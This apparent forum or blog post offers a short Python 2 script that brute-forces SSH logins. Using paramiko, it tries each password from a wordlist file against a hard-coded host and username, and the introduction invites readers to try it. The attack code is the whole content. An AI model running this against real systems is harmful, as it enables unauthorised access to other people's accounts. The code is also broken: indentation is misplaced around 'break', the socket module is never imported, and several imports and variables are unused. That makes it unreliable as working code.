This is the small Program for brute force the ssh open port host. Just Check it once and try it on your unix or windows operating system.....


#!/usr/bin/python
import paramiko
import itertools,string,crypt

PASSSIZE = 5
IPADDRESS = "127.0.0.1"
USERNAME = "username"
SSHPORT=22
open_file=open("passwords.txt","r")

var=open_file.read().split("\n")

try:
    for passwd in var:
        ssh = paramiko.SSHClient()
        ssh.load_system_host_keys()
        ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())

        try:
                ssh.connect(IPADDRESS , port=SSHPORT, username=USERNAME, password=passwd)
                print "Connected successfully. Password = "+passwd
        break
        except paramiko.AuthenticationException, error:
            print "Incorrect password: "+passwd
            continue
        except socket.error, error:
                print error
               continue
        except paramiko.SSHException, error:
                print error
                print "Most probably this is caused by a missing host key"
               continue
        except Exception, error:
                print "Unknown error: "+error
                continue  
        ssh.close()


except Exception,error :
    print error